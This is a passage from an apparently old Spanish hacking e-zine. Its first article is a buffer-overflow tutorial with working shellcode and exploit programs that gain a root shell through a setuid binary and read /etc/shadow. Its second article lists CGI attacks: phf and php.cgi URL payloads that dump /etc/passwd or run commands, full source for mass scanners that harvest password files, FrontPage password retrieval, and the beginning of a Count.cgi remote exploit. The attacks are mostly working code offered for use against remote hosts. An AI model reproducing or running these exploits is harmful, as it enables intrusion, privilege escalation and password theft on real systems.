0x80483c0 <suma>: push %ebp [ Se guarda EBP en la pila ]
0x80483c1 <suma+1>: mov %esp,%ebp [ Se copia ESP en EBP ]
0x80483c3 <suma+3>: sub $0x4,%esp [ Se reservan 4 bytes para la
variable resultado ]
0x80483c6 <suma+6>: mov 0x8(%ebp),%eax
0x80483c9 <suma+9>: mov 0xc(%ebp),%edx
0x80483cc <suma+12>: lea (%edx,%eax,1),%ecx
0x80483cf <suma+15>: mov %ecx,0xfffffffc(%ebp)
0x80483d2 <suma+18>: mov 0xfffffffc(%ebp),%edx
0x80483d5 <suma+21>: mov %edx,%eax
0x80483d7 <suma+23>: jmp 0x80483e0 <suma+32>
0x80483d9 <suma+25>: lea 0x0(%esi,1),%esi
0x80483e0 <suma+32>: mov %ebp,%esp
0x80483e2 <suma+34>: pop %ebp
0x80483e3 <suma+35>: ret
0x80483e4 <suma+36>: lea 0x0(%esi),%esi
0x80483ea <suma+42>: lea 0x0(%edi),%edi
End of assembler dump.
(gdb) quit
Espero que llegados a este punto ya entendais mas o menos como va toda la
movida esta de la pila y las llamadas a funciones. Ahora vamos a entrar en
detalle en como modificar la parte de la pila que nos interesa desde C.
Tenemos este programa:
******** prueba1.c *************************************
#include <stdio.h>
int main(int argc, char **argv)
{
unsigned long *ret;
char buf[4];
if (argc > 1) strcpy(buf, argv[1]);
ret = &ret;
ret += 1;
printf(" El valor de EBP salvado es : %04x\n", *ret);
ret += 1;
printf(" La direccion de retorno es : %04x\n", *ret);
fflush(stdout);
}
*******************************************************
Lo compilamos y lo ejecutamos:
# gcc prueba1.c -o prueba1
# ./prueba1
El valor de EBP salvado es : bffffa28
La direccion de retorno es : 40037213
Como podeis ver en el codigo fuente, si hay mas de un argumento el programa
lo copia en la variable estatica buf, que ocupa 4 bytes, sin mirar el tama¤o
del argumento. ¨Que pasaria si le pasamos un segundo argumento de entre 4 y
ocho bytes? Pues que al hacer el strcpy() sobreescribiria el valor de ret,
pero en la siguiente linea se le asigna un valor a ret, asi que no habria
mayores consecuencias. Pero si se le pasa un argumento mayor de 8 caracteres
se sobreescriben dos valores que tienen todas las funciones en la pila: el
valor guardado de EBP y la direccion de retorno:
[ Voy a pasarle un argumento de 16 bytes de longitud ]
#./prueba1 aaaaaaaaaaaabbbb
El valor de EBP salvado es : 61616161
La direccion de retorno es : 62626262
Segmentation fault
Pues lo que acabais de observar es la base de los desbordamientos de
buffer. Al modificar la direccion de retorno, al llegar a la ins. ret de la
funcion main(), el programa intentara saltar a la direccion 0x62626262, pero
si recordais, cuando una direccion de memoria no esta mapeada, el kernel mata
al proceso, y eso es exactamente lo que ha pasado.
LA BASE DE LOS EXPLOITS
~~~~~~~~~~~~~~~~~~~~~~~
¨Que podemos hacer para aprovecharnos de esto? Pues basicamente es esto:
Vamos a pasarle al programa un argumento, de forma que sobreescriba la
direccion de retorno con una direccion en la habremos colocado un codigo
hecho en ensamblador que ejecute lo que nosotros queramos. La direccion en
la que tiene que estar nuestro codigo _debe_ de estar en el espacio de
direcciones del programa, asi que, vamos a aprovechar que la variable buf se
encuentra en su espacio de direcciones, y en los primeros bytes del argumento
metemos nuestro codigo, y en los cuatro ultimos metemos la direccion de la
variable buf. La pega es que no sabemos exactamente cual es su direccion,
pues depende de la direccion de la pila, pero da la casualidad de que los
valores que toma la pila son muy parecidos (en el mismo S.O.), asi que
probaremos con la direccion de la pila del programa _exploit_, y si no
funciona probaremos a restarle offsets a la dir. hasta encontrar la direccion
de buf (joder, que frase mas larga :).
Primero vamos con el codigo. ¨Que queremos ejecutar? Pues lo mas comun es
ejecutar una shell, y desde la shell ejecutar lo que nos salga de los webs.
Primero vamos a hacer un codigo en ensamblador que ejecute una shell.
Para ejecutar la shell vamos a hacer una llamada al sistema que le diga al
kernel que queremos ejecutar algo; evidentemente la unica que nos vale es
execve(). execve() toma tres argumentos:
- puntero a una cadena de caracteres con el path completo del programa a
ejecutar.
- Puntero a un array de argumentos terminados en NULL que seran los que se
pasen al programa que vamos a ejecutar.
- Puntero a un array con las variables de entorno.
Ok. Pues con esto ya podemos hacer el codigo en assembler, pero nos falta
una cosa:
Los punteros apuntan a una direccion de memoria (NO JODAS!!), pero nosotros
vamos a tener el codigo en una variable local, asi que desconocemos
totalmente la direccion de las cadenas de caracteres que pasaremos a
execve(). ¨Como podemos averiguar su direccion? Pues a alguien muy listo (no
se quien fue, pero seguro que es muy listo :) se le ocurrio esto:
- Antes del codigo que llama a execve plantamos un jmp que salte justo
detras de la region donde tenemos las strings.
(Nota: strings = cadenas de caracteres)
- La instruccion a la que hemos saltado es un call a la instruccion que esta
delante del jmp. O sea, que volvemos a la inst. delante del jmp.
- ¨Que conseguimos con esto? Si recordais, al hacer un call, se guarda en la
pila la direccion _absoluta_ de la siguiente inst. del call. ¨Y que hay
delante del call? Las strings.
- Problema resuelto. Ya tenemos en la pila la direccion. Basta con hacer
pop %registo_x y tendremos en ese reg. la dir. que buscabamos.
Ah!, se me olvidaba. La mayoria de los desbordamientos de buffer se producen
al copiar cadenas de caracteres con strcpy(). strcpy() para al encontrar un 0
en la cadena origen, asi que cuidado con poner 0s en la shellcode. Ademas, si
la llamada a execve() falla, el programa dara un segmentation fault, asi que
para evitarlo vamos a a¤adir una llamada a exit justo despues de la llamada a
execve().
Para hacer nuestro exploit tenemos que usar un programa vulnerable. Pues ya
que tenemos el prueba1.c vamos a usarlo (q taka¤o soi :) Pero vamos a
aumentar el tama¤o de su variable buf a 1024 caracteres para que quepa de
sobra la shellcode.
Prueba1.c quedaria asi:
******** prueba2.c *************************************
#include <stdio.h>
int main(int argc, char **argv)
{
unsigned long *ret;
char buf[1024];
if (argc > 1) strcpy(buf, argv[1]);
ret = &ret;
ret += 1;
printf(" El valor de EBP salvado es : %04x\n", *ret);
ret += 1;
printf(" La direccion de retorno es : %04x\n", *ret);
fflush(stdout);
}
*******************************************************
Y el exploit es este: (comentado por supuesto :)
****** exploit1.c *************************************
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
/*
* Esta funcion tiene el codigo en asm que usaremos para ejecutar la shell
*/
void shell()
{
__asm__("
jmp 0x1f
popl %edi
movl %edi,%ebx
xorl %eax,%eax
movb %al,0x7(%edi)
movl %edi,0x8(%edi)
movl %eax,0xc(%edi)
leal 0x8(%edi),%ecx
leal 0xc(%edi),%edx
movb $0xb,%eax
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.ascii \"/bin/sh0\"
.byte 0x00
");
}
/*
* Puntero al comienzo de la shellcode. Pongo "+ 3" para saltarme las
* instrucciones "push ebp y mov esp, ebp" de la func. shell()
*/
char *shellcode = (char*) &shell + 3;
/*
* Esta funcion devuelve el valor del reguistro esp
*/
unsigned long get_sp()
{
__asm__(" movl %esp, %eax ");
}
int main(int argc, char **argv)
{
char *args[3];
char evil_buf[1036];
/* 1036 porque = 1024 longitud del buffer + 4 de variable ret +
4 de EBP salvado + 4 EIP */
unsigned long *lptr;
unsigned long ret;
int offset = 0;
printf("Uso:\n");
printf("\t%s [offset]\n\n", argv[0]);
if (argc > 1) offset = atoi(argv[1]);
memset(evil_buf, 1, 1032);
strncpy(evil_buf, shellcode, strlen(shellcode) - 1);
lptr = (unsigned long*) &evil_buf[1032];
ret = get_sp() - offset;
*lptr = ret;
args[0] = "./prueba2";
args[1] = evil_buf;
args[2] = NULL;
printf("Explotando...\n");
fflush(stdout);
execve(args[0], args, NULL);
perror("execve()");
}
**************************************************
Ahora compilamos y ejecutamos:
# gcc prueba2.c -o prueba2
# gcc exploit1.c -o exploit1
# ./exploit1
Uso:
./exploit [offset]
Explotando...
El valor de EBP salvado es : 1010101
La direccion de retorno es : bffff6a4
Segmentation fault
Ummm... Parece que no funciona.... No hombre, lo que pasa es que la
direccion de retorno que usamos no apunta _justo_ al principio de nuestra
shellcode, asi que tendremos que probar con offsets aleatorios hasta
encontrar el bueno. Pero como eso o_usas_un_script_o_te_mueres_de_asco pues
vamos a usar las NOPS. Las NOPS son instrucciones que no hacen nada. Se usan
para calcular e introducir retardos. Pues nosotros las vamos a usar de la
siguiente manera:
- Justo antes del codigo en asm que ejecuta la shell vamos a poner un huevo
de nops seguidas, asi, si la direccion de retorno apunta sobre ese rango
de NOPS las ira ejecutando todas hasta dar con nuestro codigo, con lo que
las posibilidades de encontrar un offset bueno se multiplican
considerablemente.
El nuevo exploit es este:
*********** exploit2.c ***************************
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
/*
* Esta funcion tiene el codigo en asm que usaremos para ejecutar la shell
*/
void shell()
{
__asm__("
jmp 0x1f
popl %edi
movl %edi,%ebx
xorl %eax,%eax
movb %al,0x7(%edi)
movl %edi,0x8(%edi)
movl %eax,0xc(%edi)
leal 0x8(%edi),%ecx
leal 0xc(%edi),%edx
movb $0xb,%eax
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.ascii \"/bin/sh0\"
.byte 0x00
");
}
/*
* Puntero al comienzo de la shellcode. Pongo "+ 3" para saltarme las
* instrucciones "push ebp y mov esp, ebp" de la func. shell()
*/
char *shellcode = (char*) &shell + 3;
/*
* Esta funcion devuelve el valor del reguistro esp
*/
unsigned long get_sp()
{
__asm__(" movl %esp, %eax ");
}
int main(int argc, char **argv)
{
char *args[3];
char evil_buf[1036];
/* 1036 porque = 1024 longitud del buffer + 4 de variable ret +
4 de EBP salvado + 4 EIP */
unsigned long *lptr;
unsigned long ret;
int offset = 0;
printf("Uso:\n");
printf("\t%s [offset]\n\n", argv[0]);
if (argc > 1) offset = atoi(argv[1]);
memset(evil_buf, 0x90, 1032);
strncpy(evil_buf+1000-strlen(shellcode), shellcode, strlen(shellcode) - 1);
lptr = (unsigned long*) &evil_buf[1032];
ret = get_sp() - offset;
*lptr = ret;
args[0] = "./prueba2";
args[1] = evil_buf;
args[2] = NULL;
printf("Explotando...\n");
fflush(stdout);
execve(args[0], args, NULL);
perror("execve()");
}
****************************************************
# gcc exploit2.c -o exploit2
# ./exploit -400
Uso:
./exploit [offset]
Explotando...
El valor de EBP salvado es : 90909090
La direccion de retorno es : bffff768
sh-2.03#
Co¤o, ya funciona! :) Si probais, vereis que ahora hay un monton de offsets
validos.
Bueno, pues esto es basicamente un buffer overflow. Hay un monton de
variantes, porque no son siempre tan faciles de explotar, por ejemplo, a
veces te tienes que currar una shell sin letras alfanumericas, o sin un
caracter en concreto... Tambien un tipo de desbordamientos donde la zona de
memoria que sobrescribes no esta en la pila, si no en la heap, y ahi no hay
direccion de retorno, asi que hay que ingeniarselas de otra manera. Quiza
para otro articulo :)
ALGO SOBRE LOS PROCESOS EN UNIX
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Hemos visto como funciona un buffer overflow bastante sencillo, y que nos
premetia cargar /bin/sh, ¨Pero como que usuario se ejecuta? ¨Que permisos
tendre en el sistema? El usuario sera el mismo, y logicamente los premisos
tambien. Cuando nosotros en UNIX cargamos un proceso a este se le asocia
un PID (identificador del proceso), un UID (identificador de usuario
real), un EUID (identificador de usuario efectivo), un GID (identificador
de grupo real) y un EGID (identificador de usuario efectivo). El UID y el
GUID del proceso es el mismo que son los mismo que los del usuario que
ejecuta dicho proceso, y el EUID y EGID marcan los privilegios del
proceso. Lo mas normal es que UID y EUID (al igual que GID y EGID)
coincidan, pero no siempre es asi, hay situaciones en las que EUID y EGID
toman como valor el UID y el GID que tiene el fichero. ¨Cuando ocurre
esto? Cuando el fichero a ejecutar tiene el setsuid activado (chmod +s
<fichero>). Todo esto parece muy complicado pero realmente es muy simple,
vamos a verlo con algunos ejemplos:
---// m_ids.c /---
#include <stdio.h>
#include <sys/types.h>
main() {
printf("Los valores UID, EUID, GID y EGID de este proceso son:\n");
printf("UID=%d\n", getuid());
printf("EUID=%d\n", geteuid());
printf("GID=%d\n", getgid());
printf("EGID=%d\n", getegid());
}
---// m_ids.c /---
Miramos el usuario con el que estamos trabajando y compilamos...
# whoami
root
# gcc m_ids.c -o m_ids
# ./m_ids
Los valores UID, EUID, GID y EGID de este proceso son:
UID=0
EUID=0
GID=0
EGID=0
#
Logicamente, UID, EUID, GID, EGID, valen 0, pues somo el administrador del
sistema, el que tiene mayor control sobre el sistema, ¨pero que ocurriria
si ejectasemos ese mismo proceso con otro usuario? Vamos a provar:
Primero cambiamos los permisos para que cualquier usuario pueda ejecurtar
dicho fichero.
# chmod 711 m_ids
Ahora cambiamos a otro usuario (UID, y GID del usuario distintos).
#su ripe
$ ./m_ids
Los valores UID, EUID, GID y EGID de este proceso son:
UID=500
EUID=500
GID=500
EGID=500
#
Como podemos el poder que el proceso ejecutado tiene ha cambiado, pues
pasa a tener el mismo poder que el usuario "ripe" tiene sobre el sistema
¨facil no? Pues veamos que pasa si ativamos el setsuid en m_ids.
Primero tenemos que volver a ser los propietarios del fichero para poder
usar chmod con el fichero.
$ exit
Setsuid ON :)
# chmod +s m_ids
Nuevamente nos metamorfoseamos y ejecutamos el fichero.
# su ripe
$ ./m_ids
Los valores UID, EUID, GID y EGID de este proceso son:
UID=500
EUID=0
GID=500
EGID=0
#
Vemos claramente que en este caso UID y EUID no coinciden (tampoco lo
hacen GID y EGID), ello es por que al estar activo el setsuid EUID y EGID
toman los valores UID i GID del fichero respectivamente, y debido a que
m_ids pertenece al usuario "root" (UID=0) y al grupo "root" (GID=0),
cualquier usuario que ejecute dicho fichero lo hara con privilegios de
"root", esto quiere decir que cualquier llamada que ese proceso haga al
sistema la hara como "root" (UID=0).
Espero que haya quedado claro el uso de setsuid (chmod +s
<fichero>), en caso de duda mandad un mail a 7a69ezine@mixmail.com o
a ripe@mixmail.com.
VOLVAMOS AL EJEMPLO ANTERIOR
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Volviendo al ejemplo que nos ha expuesto Doing, nosotros logramos que un
fichero binario ejecute /bin/sh, pero como podeis ver, esto no tiene (en
principio ninguna utilidad, pues no conseguimos en ningun momento mejorar
nuestros privilegios en el sistema).
# su ripe
$ ./exploit2 1
Uso:
./exploit2 [offset]
Explotando...
El valor de EBP salvado es : 90909090
La direccion de retorno es : 7ffff8d7
Bash$ cat /etc/shadow
cat: /etc/shadow: permiso denegado
Pues vaya mierda... no consigo nada.
Vamos a hacer un par de modificaciones al programilla "prueba2.c"
---// prueba3.c //---
#include <stdio.h>
int main(int argc, char *argv[]) {
unsigned log *ret;
char buf[1024]
if(argc > 1) strcpy(buf, argv[1]);
printf("El UID, el GID, el EUID y el EGID de este proceso son:\n");
printf(" UID=%d\n", getuid());
printf(" GID=%d\n", getgid());
printf(" EUID=%d\n", geteuid());
printf(" EGID=%d\n", getegid());
ret=&ret;
ret += 1;
printf(" El valor de EBP salvado es: %04x\n", *ret);
rer += 1;
printf(" La direccion de retorno es: %0ax\n", *ret);
fflush(stdout);
}
---// prueba3.c //---
Compilamos :->
$ gcc prueba3.c -o prueba3
Ahora tendras que hacer tambien una peque¤a modificacion al exploit.
Debido a que ahora este tendra que explotar "prueba3" y no "prueba2",
debes cambiar la linea args[0]="./prueba2", por la linea
"args[0]="./prueba3". Ya estamos preparados para ver que pasa
$ ./exploit2 1
Uso:
./exploit2 [offset]
Explotando...
El UID, el GID, el EUID, el EGID de este proceso son:
UID=500;
GID=500;
EUID=500;
EGID=500;
El valor de EBP salvado es : 90909090
La direccion de retorno es : 7ffff8ba
bash$
Vemos "prueba3" se ha ejecutado con EUID=500 y EGID=500 (los mismo que
tiene el usuario ripe), por lo que el bash que hemos logrado abrir tendra
estos privilegios... malo malo, no hemo ganado nada (a estas alturas ya
deberiais saber porque :P).
¨Entonces "prueba3" no se puede explotar para lograr mas privilegios? Pues
tal y como esta la situacion no, pues todos y que "prueba3" es vulnerable
este se ejecuta con los mismos privilegios que "exploit2", que ha sido
llamado por el usuario "ripe" (UID=500, GID=500). Sinembargo si "prueba3"
tiene setsuid activado.... A ver que ocurre.
# whoami
root
# chmod +s prueba3
# su ripe
$ ./exploit2 69
Uso:
./exploit2 [offset]
Explotando...
El UID, el GID, el EUID, y el EGID de este proceso son:
UID=500;
GID=500;
EUID=0;
EGID=0;
El valor de EBP salvado es : 90909090
La direccion de retorno es : 7ffff893
bash# cat /etc/shadow
root:4rTGBh&hn&/Hlaa&mdeK23f12eQrUJha:11125:0:99999:::
bin:*:11125:0:99999:::
...(etc, etc :P)
Ahora vemos que el proceso se ejecuta con EUID=0 y EGID=0, por lo que la
llamada a /bin/sh se hara como root, de manera que tachaaa! se nos abre
un bash con privilegios de root. No esta mal ¨Ahora que hago? Esto depende
de ti.
¨CON QUE APLICACIONES CHUTA TODO ESTO?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Asi pues ¨que aplicaciones son vulnerables a este tipo de ataques? Pues,
creo que esta claro, cualquier aplicacion con setsuid activado y a la que
se le pueda desbordar el buffer. Si detectas una aplicacion vulnerable en
tu sistema la solucion en bien sencilla, basta con desactivar el setsuid
(chmod -s <fichero>).
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º11.- Jugando con los CGI's º Hacking º Medio/Bajo º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ IReik ]
INTRODUCCION
~~~~~~~~~~~~
Vale, entonces, ?de que trata este texto?, bueno pues voy a intentar explicar
como podemos aprovecharnos de la mala programacion de un cgi para leer
archivos de la maquina objetivo, ver informacion acerca de la maquina
objetivo... pero para todo eso tendras que seguir leyendo.
Asi, pues, aqui hay una peque¤a (en realidad muy peque¤a) recopilacion de
fallos de algunos cgi que nos pueden ayudar a hacer mas facil el hack, ya que
a veces encontramos un server con una seguridad medi-baja y donde no sabemos
que hacer y sin embargo, resulta que nos han dejado la puerta de delante
abierta :)
Continuo advirtiendo que algunos (o bastantes) de los bugs o vulnerabilidades
que se presentan en este texto son algo antiguas y necesitaremos algo de
paciencia para encontrar un host vulnerable y utilizaremos el netscape para
explotar algunas vulnerabilidades desde el navegador (si, si el phf tambien).
Bueno, pues antes de seguir, deciros que en esta peque¤a recopilacion solo he incluido fallos que yo he explotado (porsupuesto nada ilegal) o tengo constancia de su funcionamiento (del fallo jeje) y por lo tanto se que funcionan, asi que lo siento si la lista es corta, pero para aquellos que esto les sepa a poco al final teneis un apartado con una serie de links donde encontrareis recopilaciones de bugs y porsupuesto estaran los errores en cgi's y como explotarlos, ademas se incluyen herramientas (o la direccion para encontrarlas) que escanean el host objetivo buscando este tipo de fallos y nos seran de gran utilidad :)
LA CHICHA
~~~~~~~~~
1.-PHF
Bueno, este ya esta mas que visto pero no podia faltar en un articulo desde
este tipo y nada, para explotar este fallo lo unico que tenemos que hacer es
incluir esta linea en el navegador:
<a href="http://host.objetivo.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd" target=nlink>http://host.objetivo.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd</a>
Este bug esta ya mas que explicado pero para el que no sepa nada esta linea
nos sacara en pantalla el fichero de passwords del host objetivo, porsupuesto
podemos visualizar otros archivos pero creo que lo que mas nos interesa es
este ¨no? :) Vale, para los mas curiosos , tambien podemos probar algo como:
<a href="http://host.objetivo.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20/" target=nlink>http://host.objetivo.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20/</a>
Supongo que todo el mundo sabe para que sirve la orden ls y si no le echamos
un vistazo al curso de unix que escribe Ripe en este mismo ezine :)
Asi pues este bug tambien nos permite, como hemos visto, ejecutar comandos en
la maquina remota, como, por ejemplo, un useradd, simplemente hace falta
imaginacion ;)
Bueno, advierto que encontrar hosts donde podamos explotar este fallo es
mucho mas que dificil, pero un estudio de hace no mucho tiempo por parte de
Hispasec, nos informaba de que aun miles de servers en el mundo eran
vulnerables a este fallo.
Para facilitaros la tarea de encontrar este fallo en host remoto os pego aqui
un escaner para esta vulnerabilidad escrito en C.
--------------------------------cortar aqui----------------------------------
/* phfscan.c
June, 1996
By Alhambra
<a href="/Mail-Bin/send_mail.form?TO=alhambra@infonexus.com">alhambra@infonexus.com</a>
A production of The Guild Corporation, 1996
A quick hack to make scanning for hosts which still have the phf bug.
Accepts hosts to scan from stdin, and writes whatever it gets back to
stdout. Plenty of room for optimization, and features that could be
added include forking off multiple copies for concurrent scans, etc, etc.
Do it yourself...that's how you learn.
The effectiveness of this program for getting password files isn't
what it once was...we see only around a 30% success ratio at getting
/etc/passwd from hosts that would have been vulnerable once upon a time.
But that's still something...
Use: phfscan < infile > outfile
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#ifdef LINUX
#include <sys/time.h>
#endif
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
int FLAG = 1;
int Call(int signo)
{
FLAG = 0;
}
main (int argc, char *argv[])
{
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int outsocket, serv_len, len,X,c,outfd;
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr outgoing;
char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
/* yp version...use as needed...*/
/* char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\n";*/
while(fgets(hosta,100,stdin))
{
if(hosta[0] == '\0')
break;
hosta[strlen(hosta) -1] = '\0';
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\n",sizeof(char));
outsocket = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family = AF_INET;
nametocheck = gethostbyname (hosta);
/* Ugly stuff to get host name into inet_ntoa form */
(void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
sizeof (outgoing.s_addr));
strcpy (host, inet_ntoa (outgoing));
serv_addr.sin_addr.s_addr = inet_addr (host);
serv_addr.sin_port = htons (80);
signal(SIGALRM,Call);
FLAG = 1;
alarm(10);
X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
alarm(0);
if(FLAG == 1 && X==0){
write(outsocket,PHFMessage,strlen(PHFMessage)*sizeof(char));
while((X=read(outsocket,FileBuf,8096))!=0)
write(1,FileBuf,X);
}
close (outsocket);
}
return 0;
}
--------------------------------cortar aqui----------------------------------
2.-PHP
Otro viejo, viejo y dificil, dificil de encontrar pero como en el caso
anterior seria pecado no nombrarlo aqui, este es otro fallo que podemos
explotar desde el mismo netscape y nos permitira leer archivos de la maquina
objetivo, para ello introducimos la siguiente linea en el navegador:
<a href="http://host.objetivo.com/cgi-bin/php.cgi?/etc/passwd" target=nlink>http://host.objetivo.com/cgi-bin/php.cgi?/etc/passwd</a>
Y de nuevo, cortar, pegar y a correr un crackeador de passwords.
El php.cgi, es ademas, en su version 2.0beta10 (para saber la version del
phf, algo tan facil como <a href="http://host.objetivo.com/cgi-bin/php.cgi"
target=nlink>http://host.objetivo.com/cgi-bin/php.cgi</a> y esperar el
resultado) vulnerable a un buffer overflow que explotamos remotamente y que
nos da una cuenta shell en el host objetivo
Como este es un cgi tambien famoso :) se hicieron escaners que buscaban el
php.cgi vulnerable en host remoto, aqui os dejo el codigo fuente del escaner
listo para compilar y ser utilizado:
---------------------------------cortar aqui---------------------------------
/* phpscan.c : php.cgi vunerable server scanning program.
Basically a phf scanner, by Alhambra of
The Guild Corperation, optimise as you wish..
Modifed by <a href="/Mail-Bin/send_mail.form?TO=so1o@insecurity.org">so1o@insecurity.org</a> of CodeZero.
Usage:
phpscan < infile > outfile
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#ifdef LINUX
#include <sys/time.h>
#endif
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
int FLAG = 1;
int Call(int signo)
{
FLAG = 0;
}
main (int argc, char *argv[])
{
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int outsocket, serv_len, len,X,c,outfd;
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr outgoing;
char PHPMessage[]="GET cgi-bin/php.cgi?/etc/passwd\n";
while(fgets(hosta,100,stdin))
{
if(hosta[0] == '\0')
break;
hosta[strlen(hosta) -1] = '\0';
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\n",sizeof(char));
outsocket = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family = AF_INET;
nametocheck = gethostbyname (hosta);
(void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],sizeof (outgoing.s_addr));
strcpy (host, inet_ntoa (outgoing));
serv_addr.sin_addr.s_addr = inet_addr (host);
serv_addr.sin_port = htons (80);
signal(SIGALRM,Call);
FLAG = 1;
alarm(10);
X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
alarm(0);
if(FLAG == 1 && X==0){
write(outsocket,PHPMessage,strlen(PHPMessage)*sizeof(char));
while((X=read(outsocket,FileBuf,8096))!=0) write(1,FileBuf,X);
}
close (outsocket);
}
return 0;
}
---------------------------------cortar aqui---------------------------------
3.-SERVICE.PWD O FRONTPAGE
Bueno, este es bug es mas facil de encontrar que los anteriores, primero
procedemos a encontrar un server con las extensiones del frontpage
instaladas, algo harto facil si tenemos en cuenta que cuando se instalan
podremos acceder a:
<a href="http://host.objetivo.com/_vti_bin/" target=nlink>http://host.objetivo.com/_vti_bin/</a>
Bueno pues ahora accedemos al siguiente directorio del host ,desde el
navegador, porsupuesto:
<a href="http://host.objetivo.com/_vti_pvt_/" target=nlink>http://host.objetivo.com/_vti_pvt_/</a>
y buscamos archivos de extension .pwd (por defecto service.pwd) ahora un
click y anda el nombre de usuario y la contrase¤a encriptada que nos
permitiran hacer modificaciones en la web del server desde nuestro frontpage,
¨lo quereis mas facil?
4.-QUERYHIT.HTML O WEBHITS.EXE (para servers que rulen M$)
¨Y esto que es?, bueno pues os estoy hablando de lo peligroso que puede
llegar a ser implantar un buscador en la pagina web. Si nos encontramos en un
server un buscador de archivos en el servidor, para comprobarlo simplemente:
<a href="http://host.objetivo.com/samples/search/queryhit.htm" target=nlink>http://host.objetivo.com/samples/search/queryhit.htm</a>
o
<a href="http://host.objetivo.com/scripts/samples/search/webhits.exe" target=nlink>http://host.objetivo.com/scripts/samples/search/webhits.exe</a>
Ahora que tal si buscamos archivos de passwords, es algo tan facil como
realizar la siguiente busqueda #filename=*.xxx donde xxx es la extension del
tipo de archivos que queremos que nos busque dentro del sitio, por ejemplo,
si queremos buscar passwords del frontpage escribimos #filename=*.pwd
5.-COUNT.CGI
Este cgi, muy abundante en los servers, es vulnerable, en algunas de sus
versiones a un ataque remoto, mediante el xploit que os pego aqui abajo, eso
si, encontrar versiones vulnerables es algo dificil, pero bueno ahi esta.
--------------------------------cortar aqui----------------------------------
/*#################################################################
###################################################################
## count.cgi.l.c - intel linux exploit for Count.cgi
## Gus/97
## Shell code blatantly stolen from 'wwwcount.c' by
## Plaguez <<a href="/Mail-Bin/send_mail.form?TO=dube0866@eurobretagne.fr">dube0866@eurobretagne.fr</a>>
##
## Spawns an xterm on your $DISPLAY, or override on command
## line.
##
##
*/
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(long, char *);
/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
